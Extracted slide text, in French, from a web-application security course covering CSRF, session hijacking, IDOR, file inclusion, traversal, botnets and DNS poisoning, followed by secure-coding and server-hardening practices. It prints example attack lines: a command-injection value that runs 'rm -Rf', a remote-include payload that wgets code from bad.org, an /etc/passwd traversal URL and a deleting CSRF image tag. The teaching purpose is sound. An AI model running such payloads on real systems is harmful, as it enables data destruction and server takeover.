membre d’un
site protégé

2

3

GET article.php?id=3&action=read

membre d’un
site protégé

<img src='article.php?id=3&action=del' width='0'>
56

Ajouter un commentaire
…
<img src='article.php?id=3&action=del'
width='0'>
…

<img
src='article.php?id=3&action=del'
width='0'>

SGBD

1

membre d’un
site protégé

2

GET article.php?id=3&action=read

membre d’un
site protégé
4

3

<img src='article.php?id=3&action=del' width='0'>
GET http://.../article.php?id=3&action=del
Les attaques sur
les sessions
Mauvaise gestion des sessions et de l’authentification
HTTP est un protocole sans état
•Les identifiants doivent donc être passés à chaque requête.
•Il faut utiliser SSL pour toute authentification
Failles dans la gestion de l’authentification
•Des ID de sessions sont utilisés pour maintenir la session dans HTTP
car il ne le peut lui.
•Cela suffit à un attaquant, c’est aussi interessant qu’un identifiant
•Les ID de sessions sont souvent exposés dans les sessions réseau, dans
les browsers (cookies), dans les logs, ….
Attention aux portes dérobées…
•Changement de mot de passe, se souvenir de mon passe, oubli de mot
de passe, questions secretes, logout, email, …
Impact
•Vol de session ou compromission de comptes utilisateur
www.boi.com?JSESSIONID=9FA1DB9EA...
Le site récrit l’URL
(i.e., mise dans l’URL de
l’ID de session)

3

5

Communication
Knowledge
Mgmt
E-Commerce
Bus. Functions

Utilisateur envoie ses
identifiants

Accounts
Finance

1

Administration
Transactions

Illustration d’une mauvaise authentification

Custom Code

2

L’utilisateur clique sur un lien vers
http://www.hacker.com dans un forum

L’attaquant regarde les logs “Referer” sur
www.hacker.com
Et découvre le JSESSIONID
L’attaquant peut utiliser
le JSESSIONID sur le site
boi.com pour son méfait

4
Contre Mesure
 Vérifier l’architecture !
 L’authentification doit être simple, centralisée et standardisée
 Utiliser le mécanisme standard de gestion des cookies du
framework (ils sont globalement fiables)
 Utiliser constamment SSL pour protéger les identifiants de
connexion et de sessions

 Vérifier l’implémentation
 Oublier l’analyse automatique
 Vérifier le certificat SSL (SSLv2, renégociation, chiffrement
faible, …)
 Examiner toutes les fonctions relatives a l’authentification
 Vérifier que la déconnexion supprime bien la session !
Vol de session
1.

Envoi de nombreux e-mail aux clients L'attaquant forge
un e-mail trompeur et l'envoie massivement à toutes les
adresses e-mail des clients.

2.

Certains utilisateurs ouvrent l' e-mail et cliquent sur le
lien Certains utilisateurs déjà connectés sur l'application
ouvrent le message et visitent le site. Leurs navigateurs

répercutent la requête XSS vers le serveur Client.
3.

Le serveur renvoie la page contenant le javascript
malicieux.

4.

Les navigateurs renvoient les cookies de session au

pirate.
5.

Le pirate récupère les cookies et ouvrent les sessions.
-Le serveur doit être vulnérable au Cross Site Scripting ;
- Le pirate connaît l' e-mail d'un utilisateur connecté au site

affecté par la vulnérabilité ;
- L'utilisateur accepte d'ouvrir un e-mail ou de visiter un lien
URL reçu par e-mail.
58

Détournement de session



Session repose sur un identifiant unique

1

login=zorro&passwd=paszorro
sessid=21000

3

sessid=21000

Bonjour Zorro
article=12&action=sel

2
59

Détournement de session

Session repose sur un identifiant unique
 Détourner une session = fournir un id valide


1

login=zorro&passwd=paszorro
sessid=21000

3

sessid=21000

sessid=21000

Bonjour Zorro

2

article=12&action=voir

article=5&action=supprimer
Détournement de session
60

Session repose sur un identifiant unique
 Détourner une session = fournir un id valide
 Identifiant transmis par :


Cookie
 URL (query string)




Champ caché de formulaire
Détournement de session
61

Session repose sur un identifiant unique
 Détourner une session = fournir un id valide
 Identifiant transmis par cookie, URL, champ form.
 Attaques pour obtenir un identifiant valide




Prédiction
id = nombre entier incrémenté
Détournement de session

Session repose sur un identifiant unique
 Détourner une session = fournir un id valide
 Identifiant transmis par cookie, URL, champ form.
 Attaques pour obtenir un identifiant valide


Prédiction
 Vol
o id dans l’URL (historique, bookmark, logs, envoi par mail, …)
o vol de cookie (XSS, ordinateur public)


o
o

interception (écoute réseau)
consultation des fichiers de session sur le serveur
Les vulnérabilités d’authentification
et l’autorisation
Brute force
Brute Force:

Processus automatisé "d'essai et d'erreur" utilisé pour deviner le
login d'une personne, son mot de passe, le numéros de carte de
crédit, ou une clé cryptographique.
Normal:

Login

2 types:
Renversé:

Login

1

N

N

1

Mot de passe
Mot de passe

Exemple:
Username = Jon
Passwords = smith, michael-jordan, [pet names], [birthdays],
[car
names], ….
Usernames = Jon, Dan, Ed, Sara, Barbara, …..
Password = 12345678
Insufficient Authentification
Insufficient Authentification:
C’est le fait de permettre à un attaquant d'accéder à des contenues ou
des fonctionnalités critiques sans pour autant être authentifié. Ceci est
dû au fait que certaines ressources sont protégées juste en "cachant"
leur emplacement et de ne pas les lier à aucune page du site web, cette
approche pour la sécurité est dite “Security Through Obscurity”.
Exemple:
Beaucoup d'applications Web ont été conçus avec des fonctionnalités
d’administration à distance, des fonctionnalités se trouvant hors du
répertoire racine (/ admin /). Généralement, ce répertoire n’est pas liés
à aucune des pages du site. Par contre, cet emplacement reste
accessible en utilisant le navigateur.
Insufficient Authorization
Insufficient Authorization:

Ceci arrive lorsqu'un site web permet à un attaquant
d'accéder à des contenues critiques ou des
fonctionnalités sans pour autant avoir les autorisations
nécessaires.
Exemple:
Même exemple pour /admin/ mais
authentifier.

cette fois après s’être
L’escalade de privilège








L’escalade de privilège est une technique qui permet
d’exploiter un bug où une erreur de configuration dans une
application pour accéder à des ressources protéger.
Cette technique permet de dépasser les droits légitimes en
usurpant l'identité d'une application ayant des droits
supérieurs.
Réalisation:
 Exploitation des bugs
 Maintenir l'accès
Conséquences:
 Accès à des ressources systèmes.
 Usurpation d'identité.
 Mise en place d'une porte dérobée
L’escalade de privilège
Le privilèges escalation: ce la possibilité pour qu’un utilsateur modifier ses
privilèges ou rôles dans l’application, généralement l’objectif est d’obtenir les
droits de l’administrateur de l’application.

Deux types d’escalades des priviléges:

 Vertical escalation: Obtenir plus de privilèges(Rôle administrateur).
• L’utilisateur A a accès à son compte en banque dans une application web via
internet.
• La vulnérabilité se produit lorsque l'utilisateur A accède au compte
administrateur d’application web en effectuant une sorte d'activité
malveillante.

 Horizontal escalation:

Effectuer des actions ou d’accéder aux ressources
sur des comptes d’autres utilisateurs.
• L’utilisateur A a accès à son compte en banque dans une application web via
internet. L'utilisateur B a accès à son compte en banque dans la même
application.
• La vulnérabilité se produit lorsque l'utilisateur A accède au compte bancaire
de l'utilisateur B en effectuant une sorte d'activité malveillante.
Référence directe non sécurisée à un objet
Comment accéder aux données privées
• C’est une manière de renforcer les habilitations en lien avec
Mauvaise restriction d’accès à une URL

Des erreurs classiques
• Attendre uniquement de l’utilisateur des accès à des objets
autorisés ou
• Cacher des références à des objets dans des champs cachés
• … et ne pas renforcer les restrictions coté serveur.
• Ceci n’est qu’une tentative de contrôle d’accès sur la
présentation et ne fonctionne pas !
• Un attaquant n’a qu’a modifier les valeurs des paramètres…
Impact
• Un utilisateur a accès à des données ou des fichiers
normalement interdits
Référence directe non sécurisée à un objet illustrée
https://www.onlinebank.com/user?acct=
6065

 L’attaquant note le
paramètre acct =
6065
?acct=6065
 Il modifie celui-ci
de la manière
suivante
?acct=6066
 L’attaquant
visualise un autre
compte.
Référence directe non sécurisée à un objet illustrée
Mauvaise restriction d’URL illustrée
https://www.onlinebank.com/user/getAccounts

https://www.onlinebank.com/user/getAccounts

 L’attaquant note dans
l’URL que le rôle est
affiché
/user/getAccounts
 Il modifie directement
l’URL (le rôle)
/admin/getAccounts,
ou
/manager/getAccounts
 L’attaquant dispose de
privilèges
supplémentaires
Référence directe non sécurisée à un objet illustrée
Mauvaise restriction d’URL illustrée
https://www.onlinebank.com/user/getAccounts

https://www.onlinebank.com/user/getAccounts

 L’attaquant note dans
l’URL que le rôle est
affiché
/user/getAccounts
 Il modifie directement
l’URL (le rôle)
/admin/getAccounts,
ou
/manager/getAccounts
 L’attaquant dispose de
privilèges
supplémentaires
La manipulation des fichiers
Directory indexing
Directory indexing:

Listage/Indexation automatique d’un répertoire est une fonction
de serveur web qui liste tous les fichiers dans un répertoire
demandé si le fichier de base (index.html / home.html /
default.htm) n'est pas présent. De ce fait, des informations
critiques peuvent être obtenues.
Exemple:
Présence de fichiers .bak .old et même des .conf .config
Remote File Include
 La technique du file include permet d’exécuter du
code dynamique héberger sur un serveur distante sur
le serveur cible,
 L’utilisation d’un include() revient à faire un simple
copié-collé : le code du fichier appelé est inséré à
l’intérieur de la page appelante, à l’endroit exact où
se trouve la fonction.
 Cette attaque est née suite au mauvais appel des
paramètres par la fonction include().
listing.php

1

<?php
echo system("ls -1 *.".$_GET['ext']);
?>

/listing.php?ext=php;cd/;rm+-Rf+*

2

ls -1 *.

php;cd/;rm+-Rf+*

3

cnx.php
index.php
connectBase.php
listing.php

4

/
5
45

<?php
afficheFormCommande();
?>

commande.php
3

test.php?p=commande
1

2

<?php
require($_GET['p'].".php");
?>

test.php
46

Injection du caractère null 0

test.php?p=http://bad.org/bad.txt%00
1

<?php
require($_GET['p'].".php");
?>

test.php
47

bad.org

GET bad.txt
2

test.php?p=http://bad.org/bad.txt%00
1

<?php
require($_GET['p'].".php");
?>
test.php
48

bad.txt

bad.org

<?php
echo system('cd /tmp; ls;
wget http://bad.org/exec; ls');
?>

3

GET bad.txt
2

test.php?p=http://bad.org/bad.txt%00
1

<?php
require($_GET['p'].".php");
?>
test.php <?php
echo system('cd /tmp; ls;
wget http://bad.org/exec; ls');
?>
49

bad.txt

bad.org

<?php
echo system('cd /tmp; ls;
wget http://bad.org/exec; ls');
?>

3

GET bad.txt
2

test.php?p=http://bad.org/bad.txt%00
1

4

cd /tmp; ls

<?php
require($_GET['p'].".php");
?>
test.php <?php
/tmp
echo system('cd /tmp; ls;
wget http://bad.org/exec; ls');
?>
50

bad.txt

bad.org

<?php
echo system('cd /tmp; ls;
wget http://bad.org/exec; ls');
?>

5

3
exec

GET bad.txt
2

test.php?p=http://bad.org/bad.txt%00
1

4

wget http://bad.org/exec

<?php
require($_GET['p'].".php");
?>
test.php <?php
/tmp
echo system('cd /tmp; ls;
wget http://bad.org/exec; ls');
?>
Remote File Include
 Exemple de code vulnérable:
<?php
Un appel du type : GET
# def des constantes /index.php?file= ‘code_hostile.txt’ aura
comme conséquence d’exécuter du
$file = "toto.php";
code PHP arbitraire sur le serveur.
#pour avoir un register global
if (isset($HTTP_GET_VARS)) {
while(list($var,$val)=each($HTTP_GET_VARS)) {
$$var=$val;}}
#include de la lib toto.php
include ($file);
?>
Remote File Include
File include:
•L’inclusion de fichier à distance.
•L’exécution à distance des fichiers source (PHP,JSP,ASP, …) sur votre
serveur web
WEBSHELL Installer sur le serveur: Contrôle totale, Exécution des
commandes système à distance.
Insertion de fichier( La faille include ):
<?php
if(isset($_GET['page']))
{include $_GET['page'].'.php';}
else
{include 'accueil.php';}
?>

http://www.monsite.com/index.php?page=http://www.pirate.com/moncode
Remote File Include
Directory traversal
Directory traversal :
• Le directory traversal n'est pas réellement une faille spéciale mais une
technique de navigation qui peut souvent être exploitée.
•En fait, on se sert des liens symboliques signifient respectivement "le
dossier où je me trouve" et "le dossier parent de celui où je me trouve".
•
•Le but est d'écrire des URLs utilisant cette technique de navigation et
ainsi accéder à du contenu inaccessible .

http://www.monsite.com/ ../../../../../etc/passwd
Remote file upload
Remote File Upload:
• Généralement le site ayant de page pour uploader des images, CVs,
articles, etc …
•Absence ou insuffisance de contrôle sur les types des fichiers à
uploader.
•Le pirate essayer d’uploader des fichiers sources (PHP,JSP,ASP,etc..)
pour permettre de contrôler le serveur web à distance.
 La Remote File upload est une porte qui permet à un pirate d’introduire sur le
serveur web:
-accès totale.
-voire le système d’information interne.
-vol des informations critiques (Passwords, portes feuilles clients, etc..)
Manipulation des fichiers – Contre mesures
 Recommandations
 Empêcher le parcours des pages situés en dessous de la racine
du site web (mécanisme de chroot) ;
 Désactiver l'affichage des fichiers présents dans un répertoire
ne contenant pas de fichier d'index (« Directory Browsing ») ;
 Supprimer les répertoires et fichiers inutiles (dont les fichiers
cachés) ;
 S'assurer que le serveur protège l'accès des répertoires
contenant des données sensibles ;
 S'assurer que le serveur interprète correctement les pages
dynamiques, y compris les fichiers de sauvegarde (.bak) ;
Les attaques logiques
Denie de service
Denial of Service

Attaque avec l'intention d'empêcher un site Web à servir les
activités normaux des utilisateur. Les attaques DoS, qui sont
normalement facilement appliquée à la couche réseau, sont
également possibles à la couche application. Ces attaques
malveillantes essayent d’épouser les ressources essentielles d'un
système, d’exploiter des vulnérabilités, ou de s’abuser des
fonctionnalités d’un système.
Exemple:
Utilisation de SQL injection pour effacer le contenu de la base de
donnée d’un site.
Abus de fonctionnalité
Abuse of functionality:

Elle se sert des propres caractéristiques et fonctionnalités d'un
site web pour consommer, frauder, ou contourner les
mécanismes de contrôle d’accès. Certaines fonctionnalités d'un
site Web peuvent être abusées, même des fonctions de sécurité,
de façon à provoquer un comportement inattendu.
Exemple:

Un attaquant crée simplement une URL qui a fourni les paramètres
e-mail souhaitée et effectuer une HTTP GET à la CGI, telles que:
http://example/cgibin/FormMail.pl?destinataire=email.victime@victim.example
&message=vous%20avez%20été%20spammé
Insufficient Anti-automation:
Insufficient Anti-automation:

Quand un site web permet à un attaquant d'automatiser un
processus qui ne doit être effectuée que manuellement.
Certaines fonctionnalités du site Web doit être protégé contre les
attaques automatiques (inscription en ligne, création de compte
email, …). Un robot automatisé pourrait potentiellement exécuter
des milliers de demandes en une minute, provoquant la perte
potentielle du service.
Exemple:
Chez Yahoo!
Attaques sur la configuration
standard
Mauvaise configuration
Les applications Web doivent faire confiance à une fondation
sécurisée
• On pense aux réseaux, aux systèmes et aux plateformes
• Il ne faut pas oublier les environnements de développement
Est-ce que votre code source est secret?
• Pensez a tous les endroits ou l’on trouve votre code source.
• La Sécurité ne doit pas se baser sur l’obscurité du code source.
Il faut étendre la gestion de la configuration a toutes
les parties de l’application
• Tous les identifiants doivent être changés sur les environnements de
production
Impact

• Installation d’une porte dérobée via un oubli de patch (serveur,
réseau,…)
• Failles XSS exploitées du à l’oubli de patch dans les frameworks
• Accès non autorisé à des comptes , des données, ou des fonctionnalités
applicatives par défaut non utilisées mais accessibles a cause d’une
mauvaise configuration utilisateur
Communication
Knowledge Mgmt
E-Commerce
Bus. Functions

Administration
Transactions

Accounts
Finance

Mauvaise configuration illustrée

Database

Custom Code
App Configuration

Framework

Development

App Server
QA Servers
Web Server

Insider

Hardened OS
Test Servers

Source Control
configuration par défaut
La plupart des administrateurs système laisse la configuration par
défaut qui peuvent être une source d’attque:
-configuration par défaut d’un BD.
-- configuration par défaut serveur web.
-- configuration par défaut d’un CMS(fichier de confs accessible via
navigateur, mot de passe zone d’administration ,….)
--Mot de passe par défaut.
-Exemple:
Un attaquant peut épuiser le nombre maximal de clients autorisés à
se connecter sur le serveur Apache httpd, dans sa configuration par
défaut.
Un attaquant peut donc ouvrir de nombreuses sessions parallèles,
dans lesquelles il envoie la requête par fragment de quelques octets,
afin de faire perdurer ces sessions et d'atteindre MaxClients.
 Les utilisateurs légitimes ne peuvent alors plus utiliser le service.
Un attaquant peut donc épuiser le nombre maximal de clients
autorisés à se connecter sur le serveur Apache httpd, dans sa
configuration par défaut.
L’attaque de Phishing
Phishing
 Le phishing est une technique qui exploite la
crédibilité entre le client et le site, utilisée par des
fraudeurs pour obtenir des renseignements
personnels dans le but de perpétrer une usurpation
d'identité.
 Les criminels informatiques utilisent généralement
l'hameçonnage pour voler de l'argent. Les cibles les
plus populaires sont les services bancaires en ligne,
et les sites de ventes aux enchères tels que eBay ou
Paypal. Les adeptes de l'hameçonnage envoient
habituellement des courriels à un grand nombre de
victimes potentielles.
Phishing
Attaques réseaux
Les chevaux de Troie
 Histoire
 La légende veut que les Grecs, n'arrivant pas à pénétrer dans
les fortifications de la ville de Troie, eurent l'idée de donner en
cadeau un énorme cheval de bois en offrande à la ville en
abandonnant le siège.
Les chevaux de Troie
 De point de vue informatique un cheval de Troie est
un logiciel d’apparence légitime, mais conçu pour
exécuter des actions nuisibles à l’utilisateur.
Les chevaux de Troie
Les chevaux de Troie








Ecoute sur le clavier
Capture d'écran
Exécution d'application
Edition du registre
Accès au contenu du disque (+r,+w)
Contrôle de plusieurs périphériques
…
Les réseaux botnet
 Les réseaux botnet sont des réseaux formés de
machines zombies commandées par un master
(maître) dans le but de les utilisées dans un contexte
malveillant.
 D’une façon générale, pour assurer la communication
entre les machines zombies et le maître, un canal IRC
mit en place afin de transmettre les commandes.
 Exploitation:
 Destruction de données
 Proxying
 Hebergement non sollicité
 Envoi de malware
 DDOS
 Spamming
 Sniff
Les réseaux botnet
 Scénario 1:
 Infection multiple par les botnets en utilisant plusieurs
moyens:
• web, mail, IM systems …
• CD, Laptop, …

 Une fois le bot mit en place:
• Connexion aux serveurs maître
• Recevoir les commandes
• Infiltration des données sensibles
Les réseaux botnet
Scénario 2: DDoS
L’écoute sur le réseau
 L’écoute sur le réseau est une technique qui
permet de collecter des données circulant sur le
réseau local affin de dénicher certaines
informations sensibles.
 1er cas: réseau non switché
L'écoute sur le réseau
Mac B

Port B

Mac C

Port C

Mac
pirate

Port
pirate

Machine A
Mac B
Mac
Mac
pirate
pirate

IP B
IP B
IP pirate

Machine B
Pirate
Mac A

IP A

Mac B

IP B

Mac A
Mac
Mac
pirate
pirate

IP A
IP A
IP pirate
DNS cache poisonning
 La cache est une mémoire intermédiaire dans
laquelle se trouvent stockées toutes les informations
que le processeur central est le plus susceptible de
demander.
 La cache se caractérise par le faite d’être dynamique, FIFO
 La cache a une durée de vie
 Le Domain Name System (ou DNS, système de noms
de domaine) est un système permettant d'établir une
correspondance entre une adresse IP et un nom de
domaine et, plus généralement, de trouver une
information à partir d'un nom de domaine.
DNS cache poisonning
 Attaque basée sur le paradoxe des
anniversaires
DNS récursif

DNS .com
www.banque.com

www.banque.com
xxx.xxx.xxx.xxx

xxx.xxx.xxx.xxx
Mémorisation
dans le cache

www.banque.com
DNS cache poisonning
 Attaque basée sur le paradoxe des
anniversaires
DNS récursif

DNS .com
www.banque.com

www.banque.com
yyy.yyy.yyy.yyy

xxx.xxx.xxx.xxx
Mémorisation
dans le cache
De la fausse
@
DNS cache poisonning
 Attaque par l'ajout de plusieurs résolutions
DNS

DNS du pirate
www.site.com

www.google.com
www.site.com

www.site.com x.x.x.x
www.google.com y.y.y.y
Les Bonnes pratiques
du
développement sécurisé
et
d’administration de plate forme d’hébergement
Les Bonnes pratiques
du
développement sécurisé
Comment éviter SQL Injection
 Les failles d'injection SQL sont introduits au niveau de code
source au cours de développement de l’application:
 les développeurs de logiciels de créer des requêtes de bases
de données dynamiques qui incluent l'entrée fournie par
l'utilisateur.
 Pour éviter les attaques par injection SQL est simple. Les
développeurs doivent soit:
a) cesser d'écrire des requêtes dynamiques, et / ou
b) empêcher l'entrée fournie par l'utilisateur qui contient des
verbes SQL
Comment éviter SQL Injection
Les fondamentaux défenses:
 Règle 1:Utilisation Prepared Statements(requêtes
paramétrées)
 Règle 2:Utilisation de procédures stockées.
 Règle 3: Valider toutes les entrées utilisateur Fourni de
coté serveur
Les défenses additionnel:
 Exécuter avec le moindre des privilèges.
 White List Input Validation.
Comment éviter SQL Injection
Règle 1:Utilisation Prepared Statements(requêtes paramétrées):

Les requêtes paramétrées forcer le développeur de définir
d'abord tout le code SQL après tous passage des paramètres et
exécution
Java EE – PreparedStatement()
.NET –SqlCommand() or OleDbCommand()
PHP –bindParam())
SQL INJECTION – Comment se protéger
SQL INJECTION – Comment se protéger
SQL INJECTION – Comment se protéger
SQL INJECTION – Comment se protéger
SQL INJECTION – Comment se protéger
Java Prepared Statement Example JAVA
Comment créer un PreparedStatement ?
SQL INJECTION – Comment se protéger
Java Prepared Statement Example
Comment passer/vider les paramètres du PreparedStatement(IN
parameters) ?
Java Prepared Statement Example
Select Records Using Prepared Statement

SQL INJECTION – Comment se protéger
SQL INJECTION – Comment se protéger
C# .NET Prepared Statement Example
String query = "SELECT account_balance FROM user_data WHERE user_name
= ?";
try {
OleDbCommand command = new OleDbCommand(query, connection);
command.Parameters.Add(new OleDbParameter("customerName",
CustomerName Name.Text));
OleDbDataReader reader = command.ExecuteReader(); // … }
catch (OleDbException se) { // error handling }
Comment éviter SQL Injection
Règle 2:Utilisation de procédures stockées.

 Les procédures stockées ont le même effet que l'utilisation
Prepared Statement lorsqu'elles sont appliquées en toute
sécurité.
 Ils demandent au développeur de définir le code SQL d'abord,
puis passer dans les paramètres après.
 La différence entre Prepared Statement et les procédures
stockées est que le code SQL pour une procédure stockée est
définie et stockée dans la base de données elle-même, ensuite
appelé à l'application.
Comment éviter SQL Injection
Utilisation de procédures stockées_Exemple PHP
Vous devez spécifier les paramètres qui gèrent les valeurs aussi
bien pour l'entrée que pour la sortie ;
Utilisation de procédures stockées_Exemple java
Comment éviter SQL Injection
 Règle 3: Valider toutes les entrées utilisateur Fourni de coté serveur:
PHP:
addslashes() :
addslashes($ch) échappe les caractères " et ' en les faisant précéder d'un
antislash .
mysql_real_escape_string:
Protège les caractères spéciaux d'une commande SQL
ereg :
La fonction ereg applique une expression régulière sur une chaîne par exemple
pour valider une numéro de carte d’identité : ereg("^[0-9]{8}$", @$num). (évitez
le SQL injection et XSS)
Validations des types des inputs:
Les fonctions suivants nous permet de vérifier les types des entrées après leurs
manipulation: is_ array ,is_ binary ,is_ bool ,is_ buffer ,is_ callable ,is_
double ,is_ float ,is_ int , is_ integer ,is_ long ,is_ null ,is_ numeric ,is_
object ,is_ real ,is_ resource ,is_ scalar , is_ string , is_ unicode.
Comment éviter SQL Injection
 Valider toutes les entrées utilisateur Fourni de coté serveur:JAVA:
 Solution: la validateur du Struts.
Utiliser la bibliothèques du struts qui nous permet de valider tous types des
données ( org.apache.commons.validator.routines) et qui contient par
exemple:











Date and Time Validators,
Numeric Validators ,
Regular Expression validation
General Code Validation
ISBN Validation
IP Address Validation
Email Address Validation
URL Validation
Domain Name Validation

 Cette bibliothèques nous permet d’éviter tous formes de sql injection ,XSS,
injection du code,file include etc..
*Pour plus d’information:
lien: http://commons.apache.org/validator/apidocs/org/apache/commons/validator/routines/packagesummary.html#package_description
Comment éviter XSS
PHP:

• htmlentities() , htmlspecialchars():
htmlentities($ch), htmlspecialchars($ch) convertit tous les caractères spéciaux en
leur entité HTML .
Exemple des remplacements effectués sont :
–
–
–
–

"&" (et commercial) devient "&amp;"
""" (guillemets doubles) devient "&quot; " ou "&#039;"
"<" (inférieur à) devient "&lt;"
">" (supérieur à) devient "&gt;"

Java: la validateur du Struts.
Dot.Net:
• HTMLEncode :
•

server.HTMLEncode remplace les caractères Ascii par leur equivalent HTML
Exemple: server.HTMLEncode("<") donne &lt;
IsNumeric :tester si une entrée est numérique ou nom par et ça nous aide de évitez l’injection
SQL dans le champ de type numéric.

Microsoft Anti-Cross Site Scripting Library:
AntiXSSLibrary.HtmlEncode et AntiXSSLibrary. UrlEncode
 ne laissera tel quel que les caractères suivants : (a-z A-Z 0-9 , . - _ ' ') ,tous les autres
caractères seront encodés.
Eviter la manipulation des fichiers
PHP:file_exists:
retourne TRUE si le fichier filename existe, et FALSE sinon. (évitez le file include).
Insertion de fichier( La faille include ):
<?php
if(isset($_GET['page']))
{include $_GET['page'].'.php';}
else
{include 'accueil.php';}
?>

<?php
if(isset($_GET['page']) AND file_exists($_GET['page'].'.php'))
{include $_GET['page'].'.php';}
else
{
include 'accueil.php';
}
?>

Java:

boolean exists = (new File("filename")).exists();
if (exists) { // File or directory exists }
else { // File or directory does not exist }
Dot.net:

if ( File.Exists(ton_fichier) )
{ // Le fichier existe }
Bonnes pratiques pour
l’administration des sites web
Côté « application »
Côté « application »
1) Sécurisation de la plateforme d’hébergement:
 Mise à jour et hardening du serveur.
 Détection d’intrusion réseau.

 Détection d’intrusion au niveau de l’hôte (HIDS).
 Détection antivirale
 Filtrage applicatif
Côté « application »
2) Suivi et audit des logs enregistrés au niveau de la
plateforme de connexion :
 log d’administration,
 log d’accès public,
Côté « application »
3.

Sauvegarde des données sensible :


Applicatif,



base de données,
Côté « application »
4) Validation de l’application:


Aprés insertion ou ajout de nouveaux services, …par
une tierce entité .



Audit de l’application avant sa mise en ligne :


au niveau de cette phase toute la documentation relative à
l’application doit être demandé (Conception, Structure,
architecture)
Côté « application »
5) Audit régulier de la sécurité :


de l’application,



du serveur web,
Côté « application »
6) Notification immédiate de tout
type d’incident touchant l’application web:


Pour déclarer des incidents, vous pouvez utiliser l'un des
moyens suivants :
- Via Email: envoyer nous un e-mail (sécurisé) à l'adresse
suivante: incident@ansi.tn
- Par Téléphone : (+216) 71 843 200 ou bien (+216) 71 846 020 et
demandez le poste 119 (pour le recueil des déclarations)
- Par Fax: (+216) 71 846 363
Côté « application »
7) Mettre en place un plan de continuité de
service:
 via la virtualisation.
 Ou autre solution.
Côté « Poste Webmaster »
Côté « Poste Webmaster »
1) Sécurisation du poste d’administration du site
web:
 Mise en place d’une solution antivirale et la
maintenir à jours
 Mise à jour des applications et du système
d’exploitation (Patch de sécurité)
 Mise en place d’un firewall personnel
Côté « Poste Webmaster »
2)

Sécurité physique du poste d’administration :
 Utilisation d’un dispositif d’antivol
 Verrouillage du système en cas de non
usage
 Cryptage des données
Côté « Poste Webmaster »
3) Gestion des mots de passe:
 Changement périodique des mots de passe
 Stockage sécurisé des mots de passe si
nécessaire

 Protection des mots de passe contre la
divulgation
Côté « Poste Webmaster »
4) Contrôle d’accès:
 Restreindre l’accès en administration (Par
adresse IP, certificat électronique)
 Utilisation des méthodes d’administration
sécurisée (SSH, SCP, …)
Côté « application »
5) Définir une procédure de veille:
 Pour être à jours des nouvelles failles.
 Appliquer les correctifs en temps optimal
 Et pour garantir ça abonnez vous au mailinglist de l’ANSI.
Bonnes pratiques pour la
sécurité des plateformes web
 Une plateforme web est l’ensemble de composants
matériels et logiciels configuré et connecté à Internet
permettant de servir des pages web sur demande. Les
informations sur les serveurs web public peuvent être
consultées par les internautes n'importe où sur Internet.
De ce fait, ils peuvent être soumis à des tentatives
d’attaques par les pirates.
 Les pirates peuvent modifier le contenu des sites web et
voler des données critiques du système. Cela peut se
traduire par une perte importante de revenu si c’est une
institution financière ou un site e-commerce et une perte
ou vol de données pour d’autres entreprises.
SECURISATION DU SYSTEME D’EXPLOITATION
DU SERVEUR WEB
SECURISATION DU SYSTEME D’EXPLOITATION DU SERVEUR WEB
 Patch et mise à niveau du système d'exploitation:
 Créer, documenter et mettre en place une procédure de patch
 Tester les patchs sur un serveur de test avant de les appliquer sur le
serveur en exploitation
 Identifier et installer tous les correctifs et mises à niveau du système
d'exploitation
 Identifier et installer tous les correctifs et mises à niveau des
applications et des services inclus avec le système d'exploitation
 Installer les correctifs et les mises à jour à partir du site web officiel de
l’OS utilisé
 Si des correctifs ne sont pas encore disponibles, désactiver les services
qui sont en relation avec la vulnérabilité identifiée si cela est possible
SECURISATION DU SYSTEME D’EXPLOITATION DU SERVEUR WEB
 Supprimer ou désactiver les services et applications inutiles
 Désactiver ou supprimer tous les services et applications inutiles
 Configurer l'authentification des utilisateurs du système
d'exploitation
 Supprimer ou désactiver les comptes et les groupes par défaut ou inutiles
 Vérifier le choix des mots de passe (Longueur, Complexité, Réutilisation,
…)
 Prévenir le devine de mot de passe (par exemple, refuser la connexion
après un nombre défini de tentatives non réussis)
 Installer et configurer d'autres mécanismes de sécurité pour renforcer
l'authentification
SECURISATION DU SYSTEME D’EXPLOITATION DU SERVEUR WEB
 Installer et configurer des contrôles de sécurité
supplémentaires
 Choisir, installer et configurer des logiciels supplémentaires pour assurer
les contrôles nécessaires ne figurant pas dans le système d'exploitation,
tels que :
 les logiciels anti malwares : (antivirus, logiciel anti-espion, les détecteurs
de rootkit)
 des logiciels de détection et de prévention d'intrusion hôte (HIDS)
 Evaluation de la sécurité du système d'exploitation
 Effectuer le scan de vulnérabilité de l’OS après l’installation initiale afin
d’identifier les vulnérabilités
 Tester l’OS périodiquement pour identifier de nouvelles vulnérabilités
 Effectuer un test de pénétration au moins une fois par an
SECURISATION DU SERVEUR WEB
SECURISATION DU SERVEUR WEB


Installation sécurisée du serveur web

 Installer le logiciel serveur web sur un serveur dédié
 Appliquer les correctifs et les mises à jour pour neutraliser les vulnérabilités
connues
 Créer un disque physique dédié ou une partition logique (séparé de l'OS et du
serveur web) pour le contenu Web
 Supprimer ou désactiver tous les services inutiles installés avec le serveur web (par
exemple, Gopher, FTP, administration à distance)
 Supprimer ou désactiver tous les comptes de connexion par défaut ou inutiles
créées lors de l'installation du serveur web
 Enlever toute la documentation du fabricant du serveur web
 Supprimer tous les fichiers et répertoires inutiles à partir du serveur (les fichiers de
test, les scripts, codes exécutables, etc.)
 Appliquer un modèle de sécurité approprié ou suivre un guide de hardening du
serveur
 Reconfigurer la bannière http afin de ne pas signaler le type du serveur web et la
version de l’OS
SECURISATION DU SERVEUR WEB


Configuration des contrôles d'accès:












Configurer le processus du serveur web à exécuter en tant qu'un simple utilisateur avec une
limite des privilèges
Configurer le serveur web en lecture seule sur les répertoires de l’application web
Configurer le serveur web afin que seuls les processus autorisés pour l’administration de
serveurs web puissent écrire des fichiers
Configurer le système d'exploitation pour que le serveur web puisse écrire des fichiers journaux
mais pas les lire
Si l’écriture est autorisée sur le serveur web, limiter la taille des fichiers à uploader sur l’espace
disque qui est dédié à cet effet. Les fichiers ajoutés doivent être placés sur une partition séparée
S'assurer que les fichiers journaux sont stockés dans un emplacement qui est dimensionné de
façon appropriée; les fichiers journaux doivent être placés sur une partition séparée
Configurer le nombre maximal de processus de serveur Web et / ou des connexions réseau que
le serveur Web doit permettre
S’assurer que les utilisateurs et les administrateurs sont en mesure de changer leurs mots de
passe périodiquement
Désactiver les utilisateurs après une certaine période d'inactivité
SECURISATION DU DB
SECURISATION DU BD

 Mettre à jour le SGBD avec les derniers correctifs stables
 Utiliser des algorithmes de hachage/cryptage pour stocker les données critiques
 Sécuriser le serveur de base de données derrière un firewall et utiliser un IDS pour
